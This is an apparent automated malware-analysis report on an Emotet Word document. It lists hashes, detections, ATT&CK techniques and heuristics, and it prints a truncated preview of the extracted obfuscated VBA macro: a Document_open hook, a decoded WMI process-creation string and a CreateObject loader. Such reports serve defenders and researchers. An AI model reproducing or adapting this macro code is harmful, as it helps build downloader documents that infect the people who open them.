Emotet Office (OLE) malware analysis — malicious · d90e29980564680f

MALICIOUS

Office (OLE)

190.8 KB Created: 2020-07-17 14:20:00 Authoring application: Microsoft Office Word First seen: 2020-09-07

MD5: ccfc9f08e9184edc75af6b27af5de333 SHA-1: 844b06eae4037cebf09fe6f2a02b1d6f189fcad5 SHA-256: d90e29980564680fd7e793570cd4e7d14c0389e6a12d4d57d0c064e5b38cc154

262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are hallmarks of Emotet. The ClamAV detection explicitly names Emotet. The VBA code uses CreateObject and string manipulation to likely download and execute a second-stage payload, indicating a downloader attack pattern.

Heuristics 7

ClamAV: Doc.Downloader.Emotet-10022426-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Emotet-10022426-0
VBA macros detected medium 4 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER

VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 61623 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	61623 bytes
SHA-256: `fc4cabf94426a0a7c915794ede1b102dca67b1e5b2177416ec7c8f0a6ca9cbc2`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "thufvioj" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_open() gigkorkioh End Sub Attribute VB_Name = "goojdor" Attribute VB_Base = "0{D692010E-B918-4B74-8515-D49492ACBF5B}{2F6B4AEC-C8E1-45EC-B01E-1124D2B9F428}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Attribute VB_Name = "faic" Function gigkorkioh() wadsud = Chr(goojdor.Zoom + 1 + 4 + 10) bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _ & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115) vVXq = lBGc vVXqw = "" vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99) If vVXq <> bwcL Then ZCAQ = bwcL UCkV = 6 Do While UCkV < 47 DoEvents: UCkV = UCkV + 1 Loop End If xeebcoohneiyheespuath = "6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDw6723tguT&^$^RFy23uikJGDi6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDn6723tguT&^$^RFy23uikJGDm6723tguT&^$^RFy23uikJGDg6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDmt6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGD" + wadsud + ":6723tguT&^$^RFy23uikJGDwi6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDn36723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGD26723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGD_6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGD" + goojdor.quuurmoaxlol + "r6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDo6723tguT&^$^RFy23uikJGDce6723tguT&^$^RFy23uikJGDs6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDs6723tguT&^$^RFy23uikJGD" bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _ & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115) vVXq = lBGc vVXqw = "" vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99) If vVXq <> bwcL Then ZCAQ = bwcL UCkV = 6 Do While UCkV < 47 DoEvents: UCkV = UCkV + 1 Loop End If joddoifjap = ruufthorthitduath(xeebcoohneiyheespuath) bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _ & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115) vVXq = lBGc vVXqw = "" vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99) If vVXq <> bwcL Then ZCAQ = bwcL UCkV = 6 Do While UCkV < 47 DoEvents: UCkV = UCkV + 1 Loop End If Set koahraejloilcaoggoag = CreateObject(joddoifjap) bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _ & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115) vVXq = lBGc vVXqw = "" vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99) If vVXq <> bwcL Then ZCAQ = bwcL UCkV = 6 Do While UCkV < 47 DoEvents: UCkV = UCkV + 1 Loop End If gaerzoibwuj = goojdor.quumfouch.ControlTipText bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _ & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107 ... (truncated)

SHA-256: fc4cabf94426a0a7c915794ede1b102dca67b1e5b2177416ec7c8f0a6ca9cbc2

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "thufvioj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
gigkorkioh
End Sub

Attribute VB_Name = "goojdor"
Attribute VB_Base = "0{D692010E-B918-4B74-8515-D49492ACBF5B}{2F6B4AEC-C8E1-45EC-B01E-1124D2B9F428}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "faic"
Function gigkorkioh()
wadsud = Chr(goojdor.Zoom + 1 + 4 + 10)
   bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _
 & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115)
vVXq = lBGc
vVXqw = ""
vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99)
If vVXq <> bwcL Then
ZCAQ = bwcL
UCkV = 6
Do While UCkV < 47
DoEvents: UCkV = UCkV + 1
Loop
End If
xeebcoohneiyheespuath = "*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDw*6723tguT&^$^RFy23uikJGDi*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDn*6723tguT&^$^RFy23uikJGDm*6723tguT&^$^RFy23uikJGDg*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDmt*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD" + wadsud + ":*6723tguT&^$^RFy23uikJGDwi*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDn3*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD2*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD_*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD" + goojdor.quuurmoaxlol + "r*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDo*6723tguT&^$^RFy23uikJGDce*6723tguT&^$^RFy23uikJGDs*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDs*6723tguT&^$^RFy23uikJGD"
   bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _
 & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115)
vVXq = lBGc
vVXqw = ""
vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99)
If vVXq <> bwcL Then
ZCAQ = bwcL
UCkV = 6
Do While UCkV < 47
DoEvents: UCkV = UCkV + 1
Loop
End If
joddoifjap = ruufthorthitduath(xeebcoohneiyheespuath)
   bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _
 & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115)
vVXq = lBGc
vVXqw = ""
vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99)
If vVXq <> bwcL Then
ZCAQ = bwcL
UCkV = 6
Do While UCkV < 47
DoEvents: UCkV = UCkV + 1
Loop
End If
Set koahraejloilcaoggoag = CreateObject(joddoifjap)
   bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _
 & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115)
vVXq = lBGc
vVXqw = ""
vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99)
If vVXq <> bwcL Then
ZCAQ = bwcL
UCkV = 6
Do While UCkV < 47
DoEvents: UCkV = UCkV + 1
Loop
End If
gaerzoibwuj = goojdor.quumfouch.ControlTipText
   bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _
 & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.